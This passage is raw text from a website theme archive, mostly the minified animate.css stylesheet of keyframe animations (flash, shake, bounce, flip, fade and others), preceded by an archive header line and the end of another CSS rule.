	background-image: url(../images/icon-32-save.png)!important;
}

PK!�ҡ����$bluetheme/assets/css/animate.min.cssnu&1i�@charset "UTF-8";body{-webkit-backface-visibility:hidden}.animated{-webkit-animation-duration:1s;-moz-animation-duration:1s;-o-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both}.animated.hinge{-webkit-animation-duration:2s;-moz-animation-duration:2s;-o-animation-duration:2s;animation-duration:2s}@-webkit-keyframes flash{0%,50%,100%{opacity:1}25%,75%{opacity:0}}@-moz-keyframes flash{0%,50%,100%{opacity:1}25%,75%{opacity:0}}@-o-keyframes flash{0%,50%,100%{opacity:1}25%,75%{opacity:0}}@keyframes flash{0%,50%,100%{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;-moz-animation-name:flash;-o-animation-name:flash;animation-name:flash}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px)}}@-moz-keyframes shake{0%,100%{-moz-transform:translateX(0)}10%,30%,50%,70%,90%{-moz-transform:translateX(-10px)}20%,40%,60%,80%{-moz-transform:translateX(10px)}}@-o-keyframes shake{0%,100%{-o-transform:translateX(0)}10%,30%,50%,70%,90%{-o-transform:translateX(-10px)}20%,40%,60%,80%{-o-transform:translateX(10px)}}@keyframes shake{0%,100%{transform:translateX(0)}10%,30%,50%,70%,90%{transform:translateX(-10px)}20%,40%,60%,80%{transform:translateX(10px)}}.shake{-webkit-animation-name:shake;-moz-animation-name:shake;-o-animation-name:shake;animation-name:shake}@-webkit-keyframes bounce{0%,20%,50%,80%,100%{-webkit-transform:translateY(0)}40%{-webkit-transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px)}}@-moz-keyframes bounce{0%,20%,50%,80%,100%{-moz-transform:translateY(0)}40%{-moz-transform:translateY(-30px)}60%{-moz-transform:translateY(-15px)}}@-o-keyframes bounce{0%,20%,50%,80%,100%{-o-transform:translateY(0)}40%{-o-transform:translateY(-30px)}60%{-o-transform:translateY(-15px)}}@keyframes bounce{0%,20%,50%,80%,100%{transform:translateY(0)}40%{transform:translateY(-30px)}60%{transform:translateY(-15px)}}.bounce{-webkit-animation-name:bounce;-moz-animation-name:bounce;-o-animation-name:bounce;animation-name:bounce}@-webkit-keyframes tada{0%{-webkit-transform:scale(1)}10%,20%{-webkit-transform:scale(0.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg)}100%{-webkit-transform:scale(1) rotate(0)}}@-moz-keyframes tada{0%{-moz-transform:scale(1)}10%,20%{-moz-transform:scale(0.9) rotate(-3deg)}30%,50%,70%,90%{-moz-transform:scale(1.1) rotate(3deg)}40%,60%,80%{-moz-transform:scale(1.1) rotate(-3deg)}100%{-moz-transform:scale(1) rotate(0)}}@-o-keyframes tada{0%{-o-transform:scale(1)}10%,20%{-o-transform:scale(0.9) rotate(-3deg)}30%,50%,70%,90%{-o-transform:scale(1.1) rotate(3deg)}40%,60%,80%{-o-transform:scale(1.1) rotate(-3deg)}100%{-o-transform:scale(1) rotate(0)}}@keyframes tada{0%{transform:scale(1)}10%,20%{transform:scale(0.9) rotate(-3deg)}30%,50%,70%,90%{transform:scale(1.1) rotate(3deg)}40%,60%,80%{transform:scale(1.1) rotate(-3deg)}100%{transform:scale(1) rotate(0)}}.tada{-webkit-animation-name:tada;-moz-animation-name:tada;-o-animation-name:tada;animation-name:tada}@-webkit-keyframes swing{20%,40%,60%,80%,100%{-webkit-transform-origin:top center}20%{-webkit-transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg)}100%{-webkit-transform:rotate(0deg)}}@-moz-keyframes swing{20%{-moz-transform:rotate(15deg)}40%{-moz-transform:rotate(-10deg)}60%{-moz-transform:rotate(5deg)}80%{-moz-transform:rotate(-5deg)}100%{-moz-transform:rotate(0deg)}}@-o-keyframes swing{20%{-o-transform:rotate(15deg)}40%{-o-transform:rotate(-10deg)}60%{-o-transform:rotate(5deg)}80%{-o-transform:rotate(-5deg)}100%{-o-transform:rotate(0deg)}}@keyframes swing{20%{transform:rotate(15deg)}40%{transform:rotate(-10deg)}60%{transform:rotate(5deg)}80%{transform:rotate(-5deg)}100%{transform:rotate(0deg)}}.swing{-webkit-transform-origin:top center;-moz-transform-origin:top center;-o-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;-moz-animation-name:swing;-o-animation-name:swing;animation-name:swing}@-webkit-keyframes wobble{0%{-webkit-transform:translateX(0%)}15%{-webkit-transform:translateX(-25%) rotate(-5deg)}30%{-webkit-transform:translateX(20%) rotate(3deg)}45%{-webkit-transform:translateX(-15%) rotate(-3deg)}60%{-webkit-transform:translateX(10%) rotate(2deg)}75%{-webkit-transform:translateX(-5%) rotate(-1deg)}100%{-webkit-transform:translateX(0%)}}@-moz-keyframes wobble{0%{-moz-transform:translateX(0%)}15%{-moz-transform:translateX(-25%) rotate(-5deg)}30%{-moz-transform:translateX(20%) rotate(3deg)}45%{-moz-transform:translateX(-15%) rotate(-3deg)}60%{-moz-transform:translateX(10%) rotate(2deg)}75%{-moz-transform:translateX(-5%) rotate(-1deg)}100%{-moz-transform:translateX(0%)}}@-o-keyframes wobble{0%{-o-transform:translateX(0%)}15%{-o-transform:translateX(-25%) rotate(-5deg)}30%{-o-transform:translateX(20%) rotate(3deg)}45%{-o-transform:translateX(-15%) rotate(-3deg)}60%{-o-transform:translateX(10%) rotate(2deg)}75%{-o-transform:translateX(-5%) rotate(-1deg)}100%{-o-transform:translateX(0%)}}@keyframes wobble{0%{transform:translateX(0%)}15%{transform:translateX(-25%) rotate(-5deg)}30%{transform:translateX(20%) rotate(3deg)}45%{transform:translateX(-15%) rotate(-3deg)}60%{transform:translateX(10%) rotate(2deg)}75%{transform:translateX(-5%) rotate(-1deg)}100%{transform:translateX(0%)}}.wobble{-webkit-animation-name:wobble;-moz-animation-name:wobble;-o-animation-name:wobble;animation-name:wobble}@-webkit-keyframes pulse{0%{-webkit-transform:scale(1)}50%{-webkit-transform:scale(1.1)}100%{-webkit-transform:scale(1)}}@-moz-keyframes pulse{0%{-moz-transform:scale(1)}50%{-moz-transform:scale(1.1)}100%{-moz-transform:scale(1)}}@-o-keyframes pulse{0%{-o-transform:scale(1)}50%{-o-transform:scale(1.1)}100%{-o-transform:scale(1)}}@keyframes pulse{0%{transform:scale(1)}50%{transform:scale(1.1)}100%{transform:scale(1)}}.pulse{-webkit-animation-name:pulse;-moz-animation-name:pulse;-o-animation-name:pulse;animation-name:pulse}@-webkit-keyframes flip{0%{-webkit-transform:perspective(400px) rotateY(0);-webkit-animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translateZ(150px) rotateY(170deg);-webkit-animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translateZ(150px) rotateY(190deg) scale(1);-webkit-animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) rotateY(360deg) scale(.95);-webkit-animation-timing-function:ease-in}100%{-webkit-transform:perspective(400px) scale(1);-webkit-animation-timing-function:ease-in}}@-moz-keyframes flip{0%{-moz-transform:perspective(400px) rotateY(0);-moz-animation-timing-function:ease-out}40%{-moz-transform:perspective(400px) translateZ(150px) rotateY(170deg);-moz-animation-timing-function:ease-out}50%{-moz-transform:perspective(400px) translateZ(150px) rotateY(190deg) scale(1);-moz-animation-timing-function:ease-in}80%{-moz-transform:perspective(400px) rotateY(360deg) scale(.95);-moz-animation-timing-function:ease-in}100%{-moz-transform:perspective(400px) scale(1);-moz-animation-timing-function:ease-in}}@-o-keyframes flip{0%{-o-transform:perspective(400px) rotateY(0);-o-animation-timing-function:ease-out}40%{-o-transform:perspective(400px) translateZ(150px) rotateY(170deg);-o-animation-timing-function:ease-out}50%{-o-transform:perspective(400px) translateZ(150px) rotateY(190deg) scale(1);-o-animation-timing-function:ease-in}80%{-o-transform:perspective(400px) rotateY(360deg) scale(.95);-o-animation-timing-function:ease-in}100%{-o-transform:perspective(400px) scale(1);-o-animation-timing-function:ease-in}}@keyframes flip{0%{transform:perspective(400px) rotateY(0);animation-timing-function:ease-out}40%{transform:perspective(400px) translateZ(150px) rotateY(170deg);animation-timing-function:ease-out}50%{transform:perspective(400px) translateZ(150px) rotateY(190deg) scale(1);animation-timing-function:ease-in}80%{transform:perspective(400px) rotateY(360deg) scale(.95);animation-timing-function:ease-in}100%{transform:perspective(400px) scale(1);animation-timing-function:ease-in}}.flip{-webkit-backface-visibility:visible!important;-webkit-animation-name:flip;-moz-backface-visibility:visible!important;-moz-animation-name:flip;-o-backface-visibility:visible!important;-o-animation-name:flip;backface-visibility:visible!important;animation-name:flip}@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-10deg)}70%{-webkit-transform:perspective(400px) rotateX(10deg)}100%{-webkit-transform:perspective(400px) rotateX(0deg);opacity:1}}@-moz-keyframes flipInX{0%{-moz-transform:perspective(400px) rotateX(90deg);opacity:0}40%{-moz-transform:perspective(400px) rotateX(-10deg)}70%{-moz-transform:perspective(400px) rotateX(10deg)}100%{-moz-transform:perspective(400px) rotateX(0deg);opacity:1}}@-o-keyframes flipInX{0%{-o-transform:perspective(400px) rotateX(90deg);opacity:0}40%{-o-transform:perspective(400px) rotateX(-10deg)}70%{-o-transform:perspective(400px) rotateX(10deg)}100%{-o-transform:perspective(400px) rotateX(0deg);opacity:1}}@keyframes flipInX{0%{transform:perspective(400px) rotateX(90deg);opacity:0}40%{transform:perspective(400px) rotateX(-10deg)}70%{transform:perspective(400px) rotateX(10deg)}100%{transform:perspective(400px) rotateX(0deg);opacity:1}}.flipInX{-webkit-backface-visibility:visible!important;-webkit-animation-name:flipInX;-moz-backface-visibility:visible!important;-moz-animation-name:flipInX;-o-backface-visibility:visible!important;-o-animation-name:flipInX;backface-visibility:visible!important;animation-name:flipInX}@-webkit-keyframes flipOutX{0%{-webkit-transform:perspective(400px) rotateX(0deg);opacity:1}100%{-webkit-transform:perspective(400px) rotateX(90deg);opacity:0}}@-moz-keyframes flipOutX{0%{-moz-transform:perspective(400px) rotateX(0deg);opacity:1}100%{-moz-transform:perspective(400px) rotateX(90deg);opacity:0}}@-o-keyframes flipOutX{0%{-o-transform:perspective(400px) rotateX(0deg);opacity:1}100%{-o-transform:perspective(400px) rotateX(90deg);opacity:0}}@keyframes flipOutX{0%{transform:perspective(400px) rotateX(0deg);opacity:1}100%{transform:perspective(400px) rotateX(90deg);opacity:0}}.flipOutX{-webkit-animation-name:flipOutX;-webkit-backface-visibility:visible!important;-moz-animation-name:flipOutX;-moz-backface-visibility:visible!important;-o-animation-name:flipOutX;-o-backface-visibility:visible!important;animation-name:flipOutX;backface-visibility:visible!important}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-10deg)}70%{-webkit-transform:perspective(400px) rotateY(10deg)}100%{-webkit-transform:perspective(400px) rotateY(0deg);opacity:1}}@-moz-keyframes flipInY{0%{-moz-transform:perspective(400px) rotateY(90deg);opacity:0}40%{-moz-transform:perspective(400px) rotateY(-10deg)}70%{-moz-transform:perspective(400px) rotateY(10deg)}100%{-moz-transform:perspective(400px) rotateY(0deg);opacity:1}}@-o-keyframes flipInY{0%{-o-transform:perspective(400px) rotateY(90deg);opacity:0}40%{-o-transform:perspective(400px) rotateY(-10deg)}70%{-o-transform:perspective(400px) rotateY(10deg)}100%{-o-transform:perspective(400px) rotateY(0deg);opacity:1}}@keyframes flipInY{0%{transform:perspective(400px) rotateY(90deg);opacity:0}40%{transform:perspective(400px) rotateY(-10deg)}70%{transform:perspective(400px) rotateY(10deg)}100%{transform:perspective(400px) rotateY(0deg);opacity:1}}.flipInY{-webkit-backface-visibility:visible!important;-webkit-animation-name:flipInY;-moz-backface-visibility:visible!important;-moz-animation-name:flipInY;-o-backface-visibility:visible!important;-o-animation-name:flipInY;backface-visibility:visible!important;animation-name:flipInY}@-webkit-keyframes flipOutY{0%{-webkit-transform:perspective(400px) rotateY(0deg);opacity:1}100%{-webkit-transform:perspective(400px) rotateY(90deg);opacity:0}}@-moz-keyframes flipOutY{0%{-moz-transform:perspective(400px) rotateY(0deg);opacity:1}100%{-moz-transform:perspective(400px) rotateY(90deg);opacity:0}}@-o-keyframes flipOutY{0%{-o-transform:perspective(400px) rotateY(0deg);opacity:1}100%{-o-transform:perspective(400px) rotateY(90deg);opacity:0}}@keyframes flipOutY{0%{transform:perspective(400px) rotateY(0deg);opacity:1}100%{transform:perspective(400px) rotateY(90deg);opacity:0}}.flipOutY{-webkit-backface-visibility:visible!important;-webkit-animation-name:flipOutY;-moz-backface-visibility:visible!important;-moz-animation-name:flipOutY;-o-backface-visibility:visible!important;-o-animation-name:flipOutY;backface-visibility:visible!important;animation-name:flipOutY}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-moz-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-o-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.fadeIn{-webkit-animation-name:fadeIn;-moz-animation-name:fadeIn;-o-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(20px)}100%{opacity:1;-webkit-transform:translateY(0)}}@-moz-keyframes fadeInUp{0%{opacity:0;-moz-transform:translateY(20px)}100%{opacity:1;-moz-transform:translateY(0)}}@-o-keyframes fadeInUp{0%{opacity:0;-o-transform:translateY(20px)}100%{opacity:1;-o-transform:translateY(0)}}@keyframes fadeInUp{0%{opacity:0;transform:translateY(20px)}100%{opacity:1;transform:translateY(0)}}.fadeInUp{-webkit-animation-name:fadeInUp;-moz-animation-name:fadeInUp;-o-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-20px)}100%{opacity:1;-webkit-transform:translateY(0)}}@-moz-keyframes fadeInDown{0%{opacity:0;-moz-transform:translateY(-20px)}100%{opacity:1;-moz-transform:translateY(0)}}@-o-keyframes fadeInDown{0%{opacity:0;-o-transform:translateY(-20px)}100%{opacity:1;-o-transform:translateY(0)}}@keyframes fadeInDown{0%{opacity:0;transform:translateY(-20px)}100%{opacity:1;transform:translateY(0)}}.fadeInDown{-webkit-animation-name:fadeInDown;-moz-animation-name:fadeInDown;-o-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translateX(-20px)}100%{opacity:1;-webkit-transform:translateX(0)}}@-moz-keyframes fadeInLeft{0%{opacity:0;-moz-transform:translateX(-20px)}100%{opacity:1;-moz-transform:translateX(0)}}@-o-keyframes fadeInLeft{0%{opacity:0;-o-transform:translateX(-20px)}100%{opacity:1;-o-transform:translateX(0)}}@keyframes fadeInLeft{0%{opacity:0;transform:translateX(-20px)}100%{opacity:1;transform:translateX(0)}}.fadeInLeft{-webkit-animation-name:fadeInLeft;-moz-animation-name:fadeInLeft;-o-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(20px)}100%{opacity:1;-webkit-transform:translateX(0)}}@-moz-keyframes fadeInRight{0%{opacity:0;-moz-transform:translateX(20px)}100%{opacity:1;-moz-transform:translateX(0)}}@-o-keyframes fadeInRight{0%{opacity:0;-o-transform:translateX(20px)}100%{opacity:1;-o-transform:translateX(0)}}@keyframes fadeInRight{0%{opacity:0;transform:translateX(20px)}100%{opacity:1;transform:translateX(0)}}.fadeInRight{-webkit-animation-name:fadeInRight;-moz-animation-name:fadeInRight;-o-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0)}}@-moz-keyframes fadeInUpBig{0%{opacity:0;-moz-transform:translateY(2000px)}100%{opacity:1;-moz-transform:translateY(0)}}@-o-keyframes fadeInUpBig{0%{opacity:0;-o-transform:translateY(2000px)}100%{opacity:1;-o-transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;transform:translateY(2000px)}100%{opacity:1;transform:translateY(0)}}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;-moz-animation-name:fadeInUpBig;-o-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes fadeInDownBig{0%{opacity:0;-webkit-transform:translateY(-2000px)}100%{opacity:1;-webkit-transform:translateY(0)}}@-moz-keyframes fadeInDownBig{0%{opacity:0;-moz-transform:translateY(-2000px)}100%{opacity:1;-moz-transform:translateY(0)}}@-o-keyframes fadeInDownBig{0%{opacity:0;-o-transform:translateY(-2000px)}100%{opacity:1;-o-transform:translateY(0)}}@keyframes fadeInDownBig{0%{opacity:0;transform:translateY(-2000px)}100%{opacity:1;transform:translateY(0)}}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;-moz-animation-name:fadeInDownBig;-o-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translateX(-2000px)}100%{opacity:1;-webkit-transform:translateX(0)}}@-moz-keyframes fadeInLeftBig{0%{opacity:0;-moz-transform:translateX(-2000px)}100%{opacity:1;-moz-transform:translateX(0)}}@-o-keyframes fadeInLeftBig{0%{opacity:0;-o-transform:translateX(-2000px)}100%{opacity:1;-o-transform:translateX(0)}}@keyframes fadeInLeftBig{0%{opacity:0;transform:translateX(-2000px)}100%{opacity:1;transform:translateX(0)}}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;-moz-animation-name:fadeInLeftBig;-o-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translateX(2000px)}100%{opacity:1;-webkit-transform:translateX(0)}}@-moz-keyframes fadeInRightBig{0%{opacity:0;-moz-transform:translateX(2000px)}100%{opacity:1;-moz-transform:translateX(0)}}@-o-keyframes fadeInRightBig{0%{opacity:0;-o-transform:translateX(2000px)}100%{opacity:1;-o-transform:translateX(0)}}@keyframes fadeInRightBig{0%{opacity:0;transform:translateX(2000px)}100%{opacity:1;transform:translateX(0)}}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;-moz-animation-name:fadeInRightBig;-o-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@-moz-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@-o-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.fadeOut{-webkit-animation-name:fadeOut;-moz-animation-name:fadeOut;-o-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-20px)}}@-moz-keyframes fadeOutUp{0%{opacity:1;-moz-transform:translateY(0)}100%{opacity:0;-moz-transform:translateY(-20px)}}@-o-keyframes fadeOutUp{0%{opacity:1;-o-transform:translateY(0)}100%{opacity:0;-o-transform:translateY(-20px)}}@keyframes fadeOutUp{0%{opacity:1;transform:translateY(0)}100%{opacity:0;transform:translateY(-20px)}}.fadeOutUp{-webkit-animation-name:fadeOutUp;-moz-animation-name:fadeOutUp;-o-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(20px)}}@-moz-keyframes fadeOutDown{0%{opacity:1;-moz-transform:translateY(0)}100%{opacity:0;-moz-transform:translateY(20px)}}@-o-keyframes fadeOutDown{0%{opacity:1;-o-transform:translateY(0)}100%{opacity:0;-o-transform:translateY(20px)}}@keyframes fadeOutDown{0%{opacity:1;transform:translateY(0)}100%{opacity:0;transform:translateY(20px)}}.fadeOutDown{-webkit-animation-name:fadeOutDown;-moz-animation-name:fadeOutDown;-o-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-20px)}}@-moz-keyframes fadeOutLeft{0%{opacity:1;-moz-transform:translateX(0)}100%{opacity:0;-moz-transform:translateX(-20px)}}@-o-keyframes fadeOutLeft{0%{opacity:1;-o-transform:translateX(0)}100%{opacity:0;-o-transform:translateX(-20px)}}@keyframes fadeOutLeft{0%{opacity:1;transform:translateX(0)}100%{opacity:0;transform:translateX(-20px)}}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;-moz-animation-name:fadeOutLeft;-o-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(20px)}}@-moz-keyframes fadeOutRight{0%{opacity:1;-moz-transform:translateX(0)}100%{opacity:0;-moz-transform:translateX(20px)}}@-o-keyframes fadeOutRight{0%{opacity:1;-o-transform:translateX(0)}100%{opacity:0;-o-transform:translateX(20px)}}@keyframes fadeOutRight{0%{opacity:1;transform:translateX(0)}100%{opacity:0;transform:translateX(20px)}}.fadeOutRight{-webkit-animation-name:fadeOutRight;-moz-animation-name:fadeOutRight;-o-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeOutUpBig{0%{opacity:1;-webkit-transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-2000px)}}@-moz-keyframes fadeOutUpBig{0%{opacity:1;-moz-transform:translateY(0)}100%{opacity:0;-moz-transform:translateY(-2000px)}}@-o-keyframes fadeOutUpBig{0%{opacity:1;-o-transform:translateY(0)}100%{opacity:0;-o-transform:translateY(-2000px)}}@keyframes fadeOutUpBig{0%{opacity:1;transform:translateY(0)}100%{opacity:0;transform:translateY(-2000px)}}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;-moz-animation-name:fadeOutUpBig;-o-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes fadeOutDownBig{0%{opacity:1;-webkit-transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(2000px)}}@-moz-keyframes fadeOutDownBig{0%{opacity:1;-moz-transform:translateY(0)}100%{opacity:0;-moz-transform:translateY(2000px)}}@-o-keyframes fadeOutDownBig{0%{opacity:1;-o-transform:translateY(0)}100%{opacity:0;-o-transform:translateY(2000px)}}@keyframes fadeOutDownBig{0%{opacity:1;transform:translateY(0)}100%{opacity:0;transform:translateY(2000px)}}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;-moz-animation-name:fadeOutDownBig;-o-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes fadeOutLeftBig{0%{opacity:1;-webkit-transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-2000px)}}@-moz-keyframes fadeOutLeftBig{0%{opacity:1;-moz-transform:translateX(0)}100%{opacity:0;-moz-transform:translateX(-2000px)}}@-o-keyframes fadeOutLeftBig{0%{opacity:1;-o-transform:translateX(0)}100%{opacity:0;-o-transform:translateX(-2000px)}}@keyframes fadeOutLeftBig{0%{opacity:1;transform:translateX(0)}100%{opacity:0;transform:translateX(-2000px)}}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;-moz-animation-name:fadeOutLeftBig;-o-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes fadeOutRightBig{0%{opacity:1;-webkit-transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(2000px)}}@-moz-keyframes fadeOutRightBig{0%{opacity:1;-moz-transform:translateX(0)}100%{opacity:0;-moz-transform:translateX(2000px)}}@-o-keyframes fadeOutRightBig{0%{opacity:1;-o-transform:translateX(0)}100%{opacity:0;-o-transform:translateX(2000px)}}@keyframes fadeOutRightBig{0%{opacity:1;transform:translateX(0)}100%{opacity:0;transform:translateX(2000px)}}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;-moz-animation-name:fadeOutRightBig;-o-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.3)}50%{opacity:1;-webkit-transform:scale(1.05)}70%{-webkit-transform:scale(.9)}100%{-webkit-transform:scale(1)}}@-moz-keyframes bounceIn{0%{opacity:0;-moz-transform:scale(.3)}50%{opacity:1;-moz-transform:scale(1.05)}70%{-moz-transform:scale(.9)}100%{-moz-transform:scale(1)}}@-o-keyframes bounceIn{0%{opacity:0;-o-transform:scale(.3)}50%{opacity:1;-o-transform:scale(1.05)}70%{-o-transform:scale(.9)}100%{-o-transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;transform:scale(.3)}50%{opacity:1;transform:scale(1.05)}70%{transform:scale(.9)}100%{transform:scale(1)}}.bounceIn{-webkit-animation-name:bounceIn;-moz-animation-name:bounceIn;-o-animation-name:bounceIn;animation-name:bounceIn}@-webkit-keyframes bounceInUp{0%{opacity:0;-webkit-transform:translateY(2000px)}60%{opacity:1;-webkit-transform:translateY(-30px)}80%{-webkit-transform:translateY(10px)}100%{-webkit-transform:translateY(0)}}@-moz-keyframes bounceInUp{0%{opacity:0;-moz-transform:translateY(2000px)}60%{opacity:1;-moz-transform:translateY(-30px)}80%{-moz-transform:translateY(10px)}100%{-moz-transform:translateY(0)}}@-o-keyframes bounceInUp{0%{opacity:0;-o-transform:translateY(2000px)}60%{opacity:1;-o-transform:translateY(-30px)}80%{-o-transform:translateY(10px)}100%{-o-transform:translateY(0)}}@keyframes bounceInUp{0%{opacity:0;transform:translateY(2000px)}60%{opacity:1;transform:translateY(-30px)}80%{transform:translateY(10px)}100%{transform:translateY(0)}}.bounceInUp{-webkit-animation-name:bounceInUp;-moz-animation-name:bounceInUp;-o-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes bounceInDown{0%{opacity:0;-webkit-transform:translateY(-2000px)}60%{opacity:1;-webkit-transform:translateY(30px)}80%{-webkit-transform:translateY(-10px)}100%{-webkit-transform:translateY(0)}}@-moz-keyframes bounceInDown{0%{opacity:0;-moz-transform:translateY(-2000px)}60%{opacity:1;-moz-transform:translateY(30px)}80%{-moz-transform:translateY(-10px)}100%{-moz-transform:translateY(0)}}@-o-keyframes bounceInDown{0%{opacity:0;-o-transform:translateY(-2000px)}60%{opacity:1;-o-transform:translateY(30px)}80%{-o-transform:translateY(-10px)}100%{-o-transform:translateY(0)}}@keyframes bounceInDown{0%{opacity:0;transform:translateY(-2000px)}60%{opacity:1;transform:translateY(30px)}80%{transform:translateY(-10px)}100%{transform:translateY(0)}}.bounceInDown{-webkit-animation-name:bounceInDown;-moz-animation-name:bounceInDown;-o-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes bounceInLeft{0%{opacity:0;-webkit-transform:translateX(-2000px)}60%{opacity:1;-webkit-transform:translateX(30px)}80%{-webkit-transform:translateX(-10px)}100%{-webkit-transform:translateX(0)}}@-moz-keyframes bounceInLeft{0%{opacity:0;-moz-transform:translateX(-2000px)}60%{opacity:1;-moz-transform:translateX(30px)}80%{-moz-transform:translateX(-10px)}100%{-moz-transform:translateX(0)}}@-o-keyframes bounceInLeft{0%{opacity:0;-o-transform:translateX(-2000px)}60%{opacity:1;-o-transform:translateX(30px)}80%{-o-transform:translateX(-10px)}100%{-o-transform:translateX(0)}}@keyframes bounceInLeft{0%{opacity:0;transform:translateX(-2000px)}60%{opacity:1;transform:translateX(30px)}80%{transform:translateX(-10px)}100%{transform:translateX(0)}}.bounceInLeft{-webkit-animation-name:bounceInLeft;-moz-animation-name:bounceInLeft;-o-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes bounceInRight{0%{opacity:0;-webkit-transform:translateX(2000px)}60%{opacity:1;-webkit-transform:translateX(-30px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@-moz-keyframes bounceInRight{0%{opacity:0;-moz-transform:translateX(2000px)}60%{opacity:1;-moz-transform:translateX(-30px)}80%{-moz-transform:translateX(10px)}100%{-moz-transform:translateX(0)}}@-o-keyframes bounceInRight{0%{opacity:0;-o-transform:translateX(2000px)}60%{opacity:1;-o-transform:translateX(-30px)}80%{-o-transform:translateX(10px)}100%{-o-transform:translateX(0)}}@keyframes bounceInRight{0%{opacity:0;transform:translateX(2000px)}60%{opacity:1;transform:translateX(-30px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.bounceInRight{-webkit-animation-name:bounceInRight;-moz-animation-name:bounceInRight;-o-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes bounceOut{0%{-webkit-transform:scale(1)}25%{-webkit-transform:scale(.95)}50%{opacity:1;-webkit-transform:scale(1.1)}100%{opacity:0;-webkit-transform:scale(.3)}}@-moz-keyframes bounceOut{0%{-moz-transform:scale(1)}25%{-moz-transform:scale(.95)}50%{opacity:1;-moz-transform:scale(1.1)}100%{opacity:0;-moz-transform:scale(.3)}}@-o-keyframes bounceOut{0%{-o-transform:scale(1)}25%{-o-transform:scale(.95)}50%{opacity:1;-o-transform:scale(1.1)}100%{opacity:0;-o-transform:scale(.3)}}@keyframes 